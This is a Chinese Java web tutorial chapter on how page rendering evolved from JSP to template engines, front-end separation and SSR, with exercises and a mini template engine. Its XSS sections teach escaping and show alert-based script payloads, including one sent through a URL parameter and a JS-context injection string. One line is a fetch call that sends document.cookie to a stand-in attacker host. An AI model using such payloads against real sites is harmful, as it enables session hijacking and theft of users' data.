主题
界面
主题
本节是一节"演进理解"课 —— 你大概率不会在新项目里写 JSP,但你要能:
| 场景 | 为什么需要懂 |
|---|---|
| 接手一个老项目 | 里面全是 JSP,看不懂就没法改 ✓ |
| 面试被问"JSP 和前后端分离的区别" | 这是一个高频问题 |
| 理解为什么"服务端渲染"又回来了 | Thymeleaf、Next.js、Nuxt —— 都在解决同一类问题 ✓ |
一句话概括本节的结论:
JSP 被淘汰的不是"服务端渲染"这个思路,而是"把 Java 代码写进 HTML"这种做法。
服务端渲染本身还在——只是换成更干净的形式(模板引擎 / SSR 框架)回来了。 ✓
完成本节后,你应该能够:
先看一个具体的场景(面试与工作中都会遇到):
面试官:"JSP 和前后端分离有什么区别?"
候选人:"JSP 是老技术,前后端分离是新做法。" ← 等于没说
面试官:"那为什么不用 JSP 了?"
候选人:"……因为前端要用 Vue/React。" ← 还是没说清真正的答案在"谁负责渲染 HTML"这件事上:
| 时代 | 谁渲染 HTML | 前端的工作是什么 |
|---|---|---|
| Servlet 时代 | Java 代码拼字符串 | 没有专职前端 ✗ |
| JSP 时代 | JSP 页面(Java 内嵌 HTML) | 改 .jsp 里的标签 |
| 前后端分离 | 浏览器(JS 框架渲染) | 独立的前端工程 ✓ |
| SSR / 同构 | 服务端首次渲染 + 浏览器接管 | 两端都要写 ✓ |
看懂这张表,就理解了这 20 年的 Web 演进 ✓
StringBuilder html = new StringBuilder();
html.append("<table>");
for (Order order : orders) {
html.append("<tr><td>").append(order.getOrderNo()).append("</td></tr>");
}
html.append("</table>");
response.getWriter().write(html.toString());实测输出(本项目跑出来的):
<!DOCTYPE html><html><body><h1>我的订单</h1><table border="1"><tr><td>ORD-1</td><td>39800</td></tr>...</table><p>共 2 条</p></body></html>问题一目了然:
| 问题 | 说明 |
|---|---|
| HTML 与 Java 混在一起 | 改一个样式要动 Java 代码 ✗ |
| 没人愿意改页面 | 前端同事完全插不上手 ✗ |
| 无法可视化 | 没有 .html 文件能直接用浏览器打开看效果 ✗ |
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<body>
<h1>我的订单</h1>
<table>
<c:forEach items="${orders}" var="order">
<tr><td>${order.orderNo}</td></tr>
</c:forEach>
</table>
</body>
</html>它解决了第一代的问题:页面写在 .jsp 文件里,改样式不用动 Java ✓
<html xmlns:th="http://www.thymeleaf.org">
<body>
<h1>我的订单</h1>
<table>
<tr th:each="order : ${orders}">
<td th:text="${order.orderNo}"></td>
</tr>
</table>
</body>
</html>和 JSP 的差别:
| 维度 | JSP | Thymeleaf |
|---|---|---|
| 能否直接当 HTML 打开 | ❌ 不能(有 Java 语法) | ✅ 能(是合法的 HTML,只是属性不认识)✓ |
| 默认转义 | ⚠️ 要显式用 <c:out> | ✅ th:text 默认转义 ✓ |
| 语法 | Java 代码可以随便写 | 受限的表达语言(刻意的约束)✓ |
第四代:前后端分离 + SSR
前后端分离: 后端只返回 JSON,浏览器用 React/Vue 渲染
SSR: 服务端先用 React 渲染出 HTML(首屏快 + SEO),浏览器再"接管"(Hydration)四代做法的取舍:
| 代 | 谁渲染 | 首屏 | SEO | 前端独立性 | 复杂度 |
|---|---|---|---|---|---|
| 拼字符串 | Java | 快 | 好 | ❌ 无 | 低 |
| JSP | 服务端 | 快 | 好 | ⚠️ 弱 | 中 |
| 模板引擎 | 服务端 | 快 | 好 | ⚠️ 中 | 中 |
| 前后端分离 | 浏览器 | ⚠️ 慢(要先下 JS) | ❌ 差 | ✅ 强 | 中高 |
| SSR | 服务端 + 浏览器 | 快 | 好 | ✅ 强 | 高 |
⚠️ 注意最后两行:"分离"带来的首屏与 SEO 问题,最终要靠 SSR 补回来 ✓ ——这是理解"为什么 Next.js 火"的关键 ✓
这是本节最需要记住的一点:
JSP 不是"解释执行"的——它第一次被访问时,会被容器编译成一个 Servlet 类(
.java→.class),之后就和普通 Servlet 一样运行。 ✓
所以下面的 JSP:
<html>
<body>
<% for (Order o : orders) { %>
<tr><td><%= o.getOrderNo() %></td></tr>
<% } %>
</body>
</html>会被编译成大致这样的 Servlet(这是理解 JSP 的全部关键):
out.write("<html>\n<body>\n");
for (Order o : orders) {
out.write("<tr><td>");
out.print(o.getOrderNo()); // ← <%= %> 就变成了 out.print
out.write("</td></tr>\n");
}
out.write("</body>\n</html>");看懂了这层,就明白了几件事:
| 现象 | 原因 |
|---|---|
| 第一次访问 JSP 特别慢 | 要现场编译(之后的访问就快了)✗ |
| JSP 里能写任意 Java 代码 | 因为它本来就是 Java 代码(在 _jspService 方法里)✓ |
| 改了 JSP 不用重启 | 容器会检测变更并重新编译 ✓(开发时很方便) |
<%= %> 不转义 | 它等价于 out.print(...)——原样输出 ✗(5.5 的 XSS 就来自这里) |
JSP 报错信息里有 _jspService 行号 | 那是编译后 Servlet 的行号 ⚠️(和你写的 .jsp 行号对不上,很迷惑) |
JSP 的九大内置对象(知道有这回事即可,不用背):
| 对象 | 类型 | 对应 |
|---|---|---|
request | HttpServletRequest | 就是 Servlet 的那个 request ✓ |
response | HttpServletResponse | 同上 |
out | JspWriter | 编译后 out.write(...) 用的就是它 |
session | HttpSession | 会话 |
application | ServletContext | 整个应用 |
pageContext | PageContext | 页面上下文(能访问其他作用域) |
config / page / exception | 少见 | — |
看这张表的感受应该是:"这不就是 Servlet 那一套吗" ✓ ——因为 JSP 就是 Servlet 的一层语法糖 ✓
"作用域"= 一个属性存进去之后,能活多久、谁能看到:
| 作用域 | 存活范围 | 谁能访问 | 典型用途 |
|---|---|---|---|
page | 当前页面(编译后就是方法里的局部变量) | 只有本页 | 临时变量 |
request | 一次请求(含 forward 转发) | 本请求链路上的所有资源 | 把数据从 Servlet 传给 JSP ★(最常用) |
session | 一次会话(《Filter、Listener 与会话管理》) | 同一用户的多个请求 | 登录状态、购物车 |
application | 整个应用(ServletContext) | 所有用户 | 全局配置、计数器 |
最常用的模式(MVC 在 JSP 时代的形态):
// Servlet(控制器):查数据,放进 request 作用域,转发给 JSP
List<Order> orders = orderService.list();
request.setAttribute("orders", orders); // ★ request 作用域
request.getRequestDispatcher("/WEB-INF/orders.jsp").forward(request, response);<%-- JSP(视图):只负责显示 --%>
<c:forEach items="${orders}" var="order"> <%-- ${} 会依次从 page→request→session→application 找 --%>
<tr><td>${order.orderNo}</td></tr>
</c:forEach>⚠️ 一个容易困惑的点:${orders} 是从哪个作用域取的?
它会按
page → request → session → application的顺序依次查找,找到第一个就用 ✓所以"同名变量"会互相覆盖 ⚠️(调试时如果发现"显示的怎么是旧数据",先检查是不是 session 里有个同名的残留)✗
这就是 Spring MVC 里 Model / ModelAndView 的前身 ✓ ——换个框架,思路没变 ✓
JSP 允许在页面里写任意 Java(<% ... %>),结果就是页面里出现了业务逻辑:
<%-- ✗ 经典反面教材:在 JSP 里查数据库、做业务判断 --%>
<%
Connection conn = DriverManager.getConnection("jdbc:mysql://...");
PreparedStatement ps = conn.prepareStatement("SELECT * FROM orders WHERE user_id = ?");
ps.setLong(1, (Long) session.getAttribute("userId"));
ResultSet rs = ps.executeQuery();
while (rs.next()) {
if (rs.getInt("amount") > 10000) {
out.print("<b>" + rs.getString("order_no") + "</b>");
}
}
%>这段代码的五个问题:
| # | 问题 |
|---|---|
| 1 | 数据库连接写在页面里(连接泄漏、密码可能硬编码)✗ |
| 2 | 业务逻辑与展示混在一起,无法测试 ✗ |
| 3 | SQL 注入风险(这里用了 PreparedStatement 还算好,但很多人会拼串)✗ |
| 4 | 页面无法交给前端改 ✗ |
| 5 | 出现异常时页面直接白屏 ✗ |
JSTL 的出现就是为了限制这种写法:
| JSTL 标签 | 作用 | 对应 Java |
|---|---|---|
<c:out> | 输出并转义 ★ | out.print + 转义 |
<c:if> / <c:choose> | 条件 | if / switch |
<c:forEach> | 循环 | for |
<c:set> / <c:remove> | 操作作用域属性 | setAttribute |
<fmt:formatDate> / <fmt:formatNumber> | 格式化 | SimpleDateFormat |
它的设计哲学:
用"受限的标签"替代"任意 Java 代码" ——你想做的事情变少了,但你做不出太离谱的事 ✓
这与 《参数校验与全局异常处理》 的"参数校验注解"、《Filter、Listener 与会话管理》 的"白名单放行"是同一种思路:用受约束的方式表达意图,比"自由发挥"更安全 ✓
⚠️ 但 JSTL 有个致命弱点:它只能做"展示逻辑"——排序、分页、格式化这些还是要在 Java 里做完 ✓ 所以**"业务逻辑归 Java、展示逻辑归标签"这条界线始终是模糊的** ⚠️
这条界限的模糊,正是 JSP 后来被淘汰的原因之一 ✓(见 5.6)
这是本节最有实用价值的一部分——因为它不只是 JSP 的问题,而是所有"把数据放进 HTML"的场景都要面对的 ✓
攻击原理:用户输入被原样放进 HTML → 浏览器把它当代码执行 ✗
实测对比(本项目跑出来的):
用户输入:
<script>alert('你的会话被偷了')</script>不转义(危险):
<tr><td>ORD-3</td><td>100</td><td><script>alert('你的会话被偷了')</script></td></tr>浏览器会执行这段脚本 ✗ ——真实的攻击会写"把 document.cookie 发到攻击者的服务器" ✗✗
转义后(安全):
<tr><td>ORD-3</td><td>100</td><td><script>alert('你的会话被偷了')</script></td></tr>浏览器把它当普通文本显示 ✓ ——用户看到的是 <script>... 这几个字符 ✓
转义的规则(本项目 TemplateLesson 的实现,值得记住这五个字符):
| 字符 | 转成 | 为什么 |
|---|---|---|
& | & | 必须第一个替换 ⚠️(否则会把后面转义出来的 & 二次转义) |
< | < | 阻止标签开始 ★ |
> | > | 配合 < |
" | " | 防止跳出属性值(<input value="..."> 里的场景)★ |
' | ' | 同上(单引号包裹的属性) |
⚠️ & 必须最先替换,这是实现时最容易错的细节 ✓
五道防线,你在不同层都会遇到:
| 层 | 机制 | 默认行为 |
|---|---|---|
JSP 的 <%= %> | 原样输出 | ❌ 不转义 ✗ |
JSTL 的 <c:out> | 输出时转义 | ✅ 默认转义 ✓ |
Thymeleaf 的 th:text | 输出时转义 | ✅ 默认转义 ✓ |
React 的 {} | 输出时转义 | ✅ 默认转义 ✓(dangerouslySetInnerHTML 是关掉它的开关 ✗) |
| API 返回 JSON | 不涉及 HTML | ⚠️ 责任转移到前端——前端渲染时必须转义 ✓ |
最后一行是本节的现实意义:
前后端分离之后,XSS 的防线从"服务端模板"挪到了"前端框架" ✓
所以:前端用了
v-html/innerHTML/dangerouslySetInnerHTML,就等于"关掉了这道防线" ✗Code Review 时看到这几个 API,要立刻问一句"这里的数据是用户可控的吗?" ✓
先说结论:不是因为"JSP 不好",而是因为"软件开发的协作方式变了" ✓
| 原因 | 说明 |
|---|---|
| 1. 前端工程化崛起 ★ | React/Vue 带来了组件化、状态管理、构建工具——这些在 JSP 里做不了 ✗ |
| 2. 多端需求 ★★ | 同样的数据要供 Web、App、小程序 用——JSP 渲染的 HTML 只对浏览器有用 ✗ |
| 3. 开发协作解耦 | 前端不用等后端"页面写好",约定接口后并行开发 ✓ |
| 4. 部署解耦 | 前端静态资源可以放 CDN;后端专心提供 API ✓ |
| 5. 前后端职责清晰 | "渲染"归前端,"数据"归后端 ✓ |
第 2 条最关键,也最容易被忽略:
一个有 App 的公司,后端不可能为每个端都写一套 JSP ✗
一旦有了"多个客户端",后端就必须退化成"只提供数据" ✓
所以前后端分离的驱动力,一半是前端技术进步,一半是业务形态变化 ✓
代价(要诚实地说):
| 代价 | 说明 |
|---|---|
| 首屏变慢 | 要先下载 JS、执行、再请求数据、再渲染 ✗ |
| SEO 变差 | 爬虫拿到的 HTML 是空壳 ✗ |
| 复杂度上升 | 两套工程、两套构建、跨域问题、状态管理 ✓ |
| 错误处理分散 | 服务端渲染时异常直接显示错误页;分离后要前端自己处理 ✗ |
因为 5.6 的代价是需要付的 ✓
SSR(Server-Side Rendering)的做法:
① 用户请求页面
② 服务端用 React/Vue 组件渲染出**完整的 HTML**(含数据)
③ 浏览器立刻显示首屏(用户不用等 JS)✓
④ 同时下载 JS,执行后"接管"页面(Hydration)——之后的路由跳转由前端接管它同时拿到了两边的好处:
| 纯 JSP/模板 | 纯前后端分离 | SSR | |
|---|---|---|---|
| 首屏 | 快 ✓ | 慢 ✗ | 快 ✓ |
| SEO | 好 ✓ | 差 ✗ | 好 ✓ |
| 前端组件化 | ❌ | ✅ | ✅ |
| 多端复用 | ❌ | ✅ | ✅ |
| 复杂度 | 低 | 中 | 高 ✗ |
⚠️ 但这不是"回到 JSP 时代" ✗ ——关键差别:
| JSP | SSR(Next.js) | |
|---|---|---|
| 渲染的代码在哪 | 服务端(Java) | 服务端 + 浏览器跑同一份 JS ✓ |
| 谁写的 | 后端工程师 | 前端工程师 ✓ |
| 是否可交互 | ❌ 静态 HTML(要刷新页面) | ✅ Hydration 后变成 SPA ✓ |
| 组件复用 | ❌ | ✅ 同一个组件两端都能跑 ✓ |
一句话:
SSR = "用前端的方式做服务端渲染" ✓
它带回了 JSP 时代的好处(首屏、SEO),但保留前端工程化的一切 ✓
这也是"技术演进不是直线"的一个好例子:
服务端渲染 → 觉得前端不独立 → 前后端分离 → 觉得首屏慢、SEO 差 → SSR(服务端渲染,但用前端技术)
↑ ↓
└──────────────── 螺旋上升,不是回到原点 ──────────────────────────────────┘⚠️ 什么时候不该用 SSR:
| 场景 | 选择 |
|---|---|
| 内部管理系统(不需要 SEO、用户在内网、首屏慢一点无所谓) | 纯前后端分离 ✓(简单得多) |
| 内容型网站(博客、电商列表页) | SSR / SSG ✓ |
| 重交互的应用(后台仪表盘、在线编辑器) | 分离式 SPA ✓ |
别为了"技术先进"而上 SSR ✗ ——它会让部署、调试、缓存都复杂一大截 ✓
如果你接手了一个 JSP 项目,这里是一份"阅读地图":
| 你看到 | 它是什么 | 对应的现代概念 |
|---|---|---|
<%= expr %> | 表达式:输出值(不转义)✗ | ${expr} 或 th:text |
<% code %> | 脚本片段:任意 Java 代码 | (现代做法里不该有) |
<%-- 注释 --%> | JSP 注释(不会出现在 HTML 里) | — |
<%@ page ... %> | 页面指令(编码、import) | 配置 |
<%@ taglib ... %> | 引入标签库(JSTL) | import |
<jsp:include> / <%@ include %> | 页面包含(动态 / 静态) | 组件 / 片段 |
/WEB-INF/*.jsp | 放在 WEB-INF 下意味着"只能被 forward 访问,不能被直接请求" ★ | 私有模板 |
*.tld 文件 | 自定义标签的定义 | 自定义组件 |
两个实用的点:
| 点 | 说明 |
|---|---|
/WEB-INF 下的 JSP 更安全 ★ | 用户不能直接访问 /WEB-INF/orders.jsp——必须经过 Servlet(控制器) ✓ 这就是 MVC 的"视图不可直达" |
找入口先找 web.xml | 它定义了 Servlet 映射与 Filter 链(《Filter、Listener 与会话管理》 的 url-pattern)✓ |
String template = "<h1>${title}</h1><p>共 ${count} 条</p>";
Map<String, String> model = Map.of("title", "我的订单", "count", "2");
String html = template;
for (var entry : model.entrySet()) {
html = html.replace("${" + entry.getKey() + "}", entry.getValue());
}这就是所有模板引擎的最小内核 ✓ ——JSP、Thymeleaf、FreeMarker 都是它的复杂版本 ✓
见第 7 节。
见 5.4 节。
一句话总结这类代码:
"页面是最不应该放业务逻辑的地方" ✓ ——
因为页面最难测试(要起容器、要模拟浏览器)、最难复用(换个端就得重写)、最难定位问题(报错行号还对不上) ✗
文件:labs/web-basics/src/main/java/cn/kb/learn/web/template/TemplateLesson.java
运行命令:
cd labs
./mvnw -pl web-basics compile dependency:build-classpath "-Dmdep.outputFile=target/cp.txt"
java "-Dstdout.encoding=UTF-8" -cp "web-basics/target/classes;$(Get-Content web-basics/target/cp.txt)" cn.kb.learn.web.template.TemplateLesson预期输出(真实运行结果,节选):
===== 1. 最早的做法:在 Java 里拼字符串(Servlet 时代)=====
<!DOCTYPE html><html><body><h1>我的订单</h1><table border="1"><tr><td>ORD-1</td><td>39800</td></tr>...</table><p>共 2 条</p></body></html>
问题:HTML 与 Java 混在一起,改一个样式要动 Java 代码,前端同事完全插不上手。
===== 2. 模板 + 数据:把两者分开(JSP / Thymeleaf 的思路)=====
<!DOCTYPE html>
<html>
<head><title>我的订单</title></head>
<body>
<h1>我的订单</h1>
<table border="1">
<tr><th>订单号</th><th>金额(分)</th><th>用户名</th></tr>
<tr><td>ORD-1</td><td>39800</td><td>张三</td></tr>
<tr><td>ORD-2</td><td>19900</td><td>李四</td></tr>
</table>
<p>共 2 条</p>
</body>
</html>
好处:模板文件可以交给前端改,Java 只负责提供数据。
===== 3. 转义:同一份数据,两种输出的差别(XSS)=====
用户名原本是:<script>alert('你的会话被偷了')</script>
--- 不转义(危险)---
<tr><td>ORD-3</td><td>100</td><td><script>alert('你的会话被偷了')</script></td></tr>
>>> 尖括号原样进了 HTML —— 浏览器会把它当代码执行。
--- 转义后(安全)---
<tr><td>ORD-3</td><td>100</td><td><script>alert('你的会话被偷了')</script></td></tr>
>>> 尖括号被转成 < > —— 浏览器把它当普通文本显示。三处对比的结论:
| 对比 | 说明 |
|---|---|
| 第 1 节 vs 第 2 节 | 拼接的 HTML 挤成一行(难维护);模板输出结构清晰 ✓ |
| 第 3 节的两段输出 | 同一份数据,不转义就是漏洞,转义后就是普通文本 ★ |
| 整节的代码量 | "模板引擎"的核心只有十几行——JSP 的复杂性在别处(编译成 Servlet、标签库、作用域) ✓ |
escape 方法处断点:观察"未转义"与"转义"两条路径的差异(这是唯一的分界点);escape 里的 & 替换去掉,输入 <script>——观察二次转义的错误结果(&lt; 显示成了 < 字面量)⚠️;\${unknown} 占位符(模型里没有这个 key)——观察它没有被替换,原样留在输出里(这就是"模板渲染失败是静默的")✗;renderByConcat 与 renderByTemplate 的输出:注意前者没有换行(StringBuilder 没加 \n)——理解"模板的一个额外好处是可读性" ✓;见 5.5 节。这是 XSS 的直接原因 ✗
自查方法:搜前端代码里的 v-html / innerHTML / dangerouslySetInnerHTML ✓ 每一个都要问"数据可控吗"。
& 见 5.5 节。& 必须最先替换 ✓
错。防线只是换了个位置 ✗
| 时代 | XSS 防线在哪 |
|---|---|
| JSP | 服务端模板的 <c:out> |
| 前后端分离 | 前端框架的默认转义(React {} / Vue v-text)✓ |
但用了 v-html / innerHTML | 防线被关掉了 ✗✗ |
另一类更隐蔽的:JS 里的"非 HTML 上下文" ⚠️
// 把用户数据拼进 JS 代码里(不是 HTML 文本里)
<script>var name = '<%= userName %>';</script> // ✗ JSP 里的经典漏洞
// 用户输入 ' ; alert(1); // → 直接执行正确做法:用 JSON 序列化,不要手工拼引号 ✓
<script>var name = <json:encode value="${userName}"/>;</script> // ✓这条规则在现代前端依然适用:eval / new Function / 内联事件属性(onclick="...")都是同类风险 ✓
见 5.4 与 6.3 节。
SSR 只解决"首屏与 SEO",不解决"复杂度与成本" ✗
另一个常见误解:"SSR 就不需要 API 了" ✗ ——SSR 框架通常还是通过 API 拿数据(只是在服务端请求)✓
见 5.7 节。收益很小、成本很高 ✗
目标:理解"模板 + 数据 + 转义"这三件事,并把它与现代前端对照起来。
步骤:
escape 里的 & 替换移到最后——用一个含 < 的输入观察结果(理解顺序为什么重要)✗;${unknown},模型里不给这个 key——观察它被原样输出(这解释了"为什么页面上突然出现 ${xxx}"这类 bug)✓;${} 与 <c:if test="${flag}">...</c:if> 两种语法(用正则 + 字符串替换)——体会"模板引擎到底做了什么";<div id="app"></div>)→ 这是 SSR 的直接证据 ✓验收方式:能说出第 2 步顺序的重要性、第 6 步"看源代码能看到内容"说明了什么。
扩展任务:把本节的 TemplateLesson 扩展成一个"支持循环的迷你模板引擎":
${key} 占位符;<for items="${orders}">...${item.orderNo}...</for> 循环;if="${flag}" 条件;基础题
<%= value %> 与 <c:out value="${value}"/> 的关键差别是什么?代码阅读题
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<body>
<h1>搜索结果</h1>
<p>关键词:<%= request.getParameter("keyword") %></p>
<table>
<c:forEach items="${results}" var="item">
<tr><td><c:out value="${item.title}"/></td></tr>
</c:forEach>
</table>
</body>
</html>?keyword=<script>alert(1)</script>,会发生什么?如何修复?编程题
${key} 替换;[[! ... ]] 形式的注释(渲染时去掉);${user.phone} 打不出来时,页面看起来"正常",但数据是错的)综合任务
提示 1(方向):第 1 题的方向是"它会被编译"。
提示 2(关键点):第 4 题逐行看:哪一行把用户输入直接输出了?
提示 3(接近答案):第 7 题的"SSR 新问题"里,Hydration 不一致指的是"服务端渲染出的 HTML 与浏览器首次渲染的结果不同"——常见于用了 Date.now()、Math.random() 或浏览器 API 的时候。
这解释了几件事:
| 现象 | 原因 |
|---|---|
| 首次访问慢 | 现场编译 ✗ |
| 报错行号对不上 | 报的是编译后 Servlet 的行号 ⚠️ |
| 能写任意 Java | 因为它就是 Java ✓ |
| 改了不用重启 | 容器会重新编译 ✓ |
记忆点:
"JSP 是 Servlet 的语法糖" ——记住这句,JSP 的一切行为都能推导出来 ✓
page < request < session < application;request。为什么"Servlet → 视图"用 request:
| 作用域 | 为什么不合适 |
|---|---|
page | 只在当前页面有效——Servlet 里设的值在 JSP 里读不到 ✗ |
request | forward 转发时仍然有效 ✓ 且请求结束就销毁(不会污染下一次)✓ |
session | 能读到,但会一直留着 ⚠️(下次请求还能看到,容易出"显示旧数据"的 bug) |
application | 全局共享 ✗(多用户互相覆盖)✗✗ |
所以 request 是"一次请求内的数据传递"的正确选择 ✓ ——这与 《Spring MVC 请求映射与参数绑定》 讲的 @RequestAttribute、Spring 的 Model 是同一个位置 ✓
<%= %> 不转义(有 XSS 风险),<c:out> 默认转义 ✓<%= value %> | <c:out value="${value}"/> | |
|---|---|---|
| 转义 | ❌ 不转义 ✗ | ✅ 默认转义 ✓ |
| null 值 | 输出 "null" 字符串 ⚠️ | 输出空字符串 ✓ |
| 类型 | 任意(会调 toString()) | 任意 |
第二个差别也值得一提:<%= someNull %> 会在页面上显示 "null" 这四个字母 ✗ ——这是 JSP 时代常见的低级 bug ✓
这道题的现实意义:
"默认安全"与"默认不安全"的差别,就是"一次疏忽"与"一次事故"的差别。 ✓
JSP 的
<%= %>是"默认不安全"(要用对必须记得换成<c:out>)✗ Thymeleaf / React 是"默认安全"(要出错必须显式用到th:utext或dangerouslySetInnerHTML)✓这就是"API 设计的安全性"——让安全的写法成为最省力的写法 ✓
第 4 题:有安全问题,在第 7 行。
<p>关键词:<%= request.getParameter("keyword") %></p>问题:直接把 URL 参数输出到 HTML,且用了不转义的 <%= %> ✗
注意对比:同一段代码里,第 12 行是正确的:
<tr><td><c:out value="${item.title}"/></td></tr> <!-- ✓ 转义了 -->所以这段代码的"不一致"本身就是很好的教材:同一个页面里,一处转了一处没转 ✓
这正是 JSP 时代 XSS 漏洞高发的原因:防线要"每次都记得",而不是"默认就有" ✗
第 5 题:会弹出一个 alert。
攻击链:
① 攻击者构造 URL:/search?keyword=<script>alert(1)</script>
② 服务器不做处理,把参数原样写入 HTML:
<p>关键词:<script>alert(1)</script></p>
③ 浏览器解析这段 HTML,把 <script> 当代码执行 → 弹出 alert真实的攻击(比 alert 严重得多):
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>后果:如果 Cookie 没有 HttpOnly(《Filter、Listener 与会话管理》 的 5.6 节),会话就被偷走了 ✗✗
三种修复:
| 修复 | 代码 |
|---|---|
① 用 <c:out>(最直接) ★ | <c:out value="${param.keyword}"/> |
② 用 fn:escapeXml | ${fn:escapeXml(param.keyword)} |
| ③ 在 Java 侧转义 | StringEscapeUtils.escapeHtml4(keyword)(⚠️ 别忘了"存的时候不转,显示的时候转"——转义过再存会导致重复显示实体) |
⚠️ 一个重要的原则:
"转义应该发生在"输出到 HTML 的那一刻",而不是"存进数据库的时候" ✓
因为同一份数据可能输出到不同地方:
- 输出到 HTML → 要 HTML 转义
- 输出到 JSON → 不需要(JSON 有自己的转义)
- 输出到 CSV → 要 CSV 转义
- 输出到 JS 字符串里 → 要 JS 转义
"存的时候转义"会导致:数据被污染(数据库里存的是
<),之后无论输出到哪都带着它 ✗✗这叫"转义得不是地方"(Incorrect Escaping Location),是 XSS 漏洞的第二大来源 ✓
还有第四种修复(更根本的):
// 前端不用 innerHTML,用 textContent
document.getElementById('keyword').textContent = keyword; // ✅ 天然安全这呼应了 5.5 节的结论:防线在"输出时转义"——不管这层是服务端模板还是前端框架 ✓
package cn.kb.learn.web.template;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* 迷你模板引擎:把"模板 + 数据 → 输出"这件事做透明。
*
* <p>设计上有三个刻意的选择:
* ① 默认转义(安全优先);
* ② 缺 key 时报警告(而不是静默留空);
* ③ 支持注释。</p>
*/
public final class MiniTemplate {
private static final Pattern PLACEHOLDER = Pattern.compile("\\$\\{([a-zA-Z0-9_.]+)}");
private static final Pattern COMMENT = Pattern.compile("\\[\\[!.*?]]", Pattern.DOTALL);
private final boolean escapeByDefault;
public MiniTemplate(boolean escapeByDefault) {
this.escapeByDefault = escapeByDefault;
}
public String render(String template, Map<String, Object> model) {
String result = COMMENT.matcher(template).replaceAll(""); // 先去注释
Matcher matcher = PLACEHOLDER.matcher(result);
StringBuilder output = new StringBuilder();
while (matcher.find()) {
String key = matcher.group(1);
Object value = resolve(model, key);
String replacement = describe(key, value);
matcher.appendReplacement(output, Matcher.quoteReplacement(replacement));
}
matcher.appendTail(output);
return output.toString();
}
/** 支持 a.b 形式的键(简单取空值即可),并处理 null */
private Object resolve(Map<String, Object> model, String key) {
if (model.containsKey(key)) {
return model.get(key);
}
// 支持 path.to.value 的形式:逐级往下找
Object current = model;
for (String part : key.split("\\.")) {
if (!(current instanceof Map<?, ?> map)) {
return null;
}
current = map.get(part);
}
return current;
}
private String describe(String key, Object value) {
if (value == null) {
// ★ 关键设计:缺 key 不是"静默留空",而是给出可见的标记 + 警告
System.err.println("[模板警告] 模板里用到了 ${" + key + "},但模型里没有这个键");
return "<!-- missing: " + key + " -->";
}
String text = String.valueOf(value);
if (escapeByDefault) {
return escapeHtml(text);
}
System.out.println("[模板警告] 未转义输出(请确认数据不可控):" + text);
return text;
}
private static String escapeHtml(String value) {
// & 必须最先替换,否则会把后面转义出的 & 再转一次
return value.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
public static void main(String[] args) {
String template = """
[[! 订单列表 ]]
<h1>${title}</h1>
<p>共 ${count} 条</p>
<p>用户名:${user.name}</p>
<p>手机号:${user.phone}</p>
""";
Map<String, Object> model = Map.of(
"title", "我的订单",
"count", 2,
"user", Map.of("name", "<script>alert(1)</script>") // 恶意输入
// 故意不给 user.phone,观察"缺 key"的行为
);
System.out.println("===== 默认转义 =====");
System.out.println(new MiniTemplate(true).render(template, model));
System.out.println("===== 关闭转义(危险)=====");
System.out.println(new MiniTemplate(false).render(template, model));
}
}预期输出:
[模板警告] 模板里用到了 ${user.phone},但模型里没有这个键
===== 默认转义 =====
<h1>我的订单</h1>
<p>共 2 条</p>
<p>用户名:<script>alert(1)</script></p>
<p>手机号:<!-- missing: user.phone --></p>
[模板警告] 未转义输出(请确认数据不可控):<script>alert(1)</script>
[模板警告] 模板里用到了 ${user.phone},但模型里没有这个键
===== 关闭转义(危险)=====
<h1>我的订单</h1>
<p>共 2 条</p>
<p>用户名:<script>alert(1)</script></p>
<p>手机号:<!-- missing: user.phone --></p>"缺失的 key 静默留空为什么危险":
| 原因 | 说明 |
|---|---|
| 页面看起来"正常" ★ | 只是那一段是空的——没有报错、没有警告 ✗ |
| 数据错误被掩盖 | ${user.phone} 打不出来时,可能是"用户没填",也可能是"字段名写错了"——两者看起来一样 ⚠️ |
| 上线才发现 | 开发时用的测试数据恰好有值,生产数据没有 ✗ |
| 排查成本高 | "为什么这一列是空的?" —— 要一路查到模板、模型、SQL |
对比两种设计:
| 设计 | 行为 | 评价 |
|---|---|---|
| 静默留空(多数模板引擎的默认) | 输出空字符串 | ⚠️ 方便,但会掩盖错误 |
| 报错 | 直接抛异常 | ✅ 开发/测试环境推荐(问题立刻暴露) |
| 可见标记 + 警告(本实现) | 输出 <!-- missing: xxx --> | ✅ 折中(页面能看,开发者也能感知)✓ |
Thymeleaf 的做法值得借鉴:开发环境严格模式(缺 key 报错),生产环境宽松(避免用户看到错误页) ✓
这与 《Spring Boot 配置管理与多环境》 的"配置错误启动就失败"、《参数校验与全局异常处理》 的"参数校验"是同一条原则:
"宁可早失败,不要静默降级" ✓
"静默"是 bug 最好的藏身处 ✓
A、B 的渲染方案选型
| 系统 | 方案 | 理由 |
|---|---|---|
| A. 电商商品页 | SSR(或 SSG + ISR) ★ | ① 需要 SEO(商品页要被搜索引擎收录)✓ ② 首屏要快(影响转化率)✓ ③ 内容型页面(变化不频繁)→ SSG 甚至更优(构建时生成静态页) |
| B. 内部运营后台 | 纯前后端分离(SPA) ★ | ① 不需要 SEO ✓ ② 用户在内网,首屏慢一两百毫秒无所谓 ✓ ③ 重交互(表格、图表、拖拽)→ SPA 更合适 ✓ ④ 部署简单(静态文件 + API)✓ |
| C. 老系统(JSP) | 见下 | — |
为什么"内部系统用 SSR"是浪费:
| SSR 的成本 | 内部系统的收益 |
|---|---|
| 服务端要跑前端代码(占 CPU、要扩容)✗ | 不需要 SEO ✗ |
| 部署变复杂(Node 服务 + API 服务)✗ | 内网延迟低,首屏影响小 ✗ |
| 缓存策略变复杂 ✗ | 用户数量少(几百人)✗ |
| Hydration 不一致的调试成本 ✗ | — |
结论:"技术先进"不等于"合适" ✓
C(JSP 老系统)的两种策略:
| 策略 | 适用条件 | 做法 |
|---|---|---|
| 继续维护 | ① 业务稳定、变更少 ② 团队熟悉 ③ 没有多端需求 | 保持现状,只做安全加固:统一转义、升级依赖、补日志 ✓ |
| 逐步迁移 | ① 要加新功能 ② 有 App 需求 ③ 招不到会 JSP 的人 | 绞杀者模式(Strangler Fig):新功能用新架构,老功能逐个替换 ✓ |
迁移的优先级(这是本题的关键):
| 优先级 | 迁哪些页面 | 理由 |
|---|---|---|
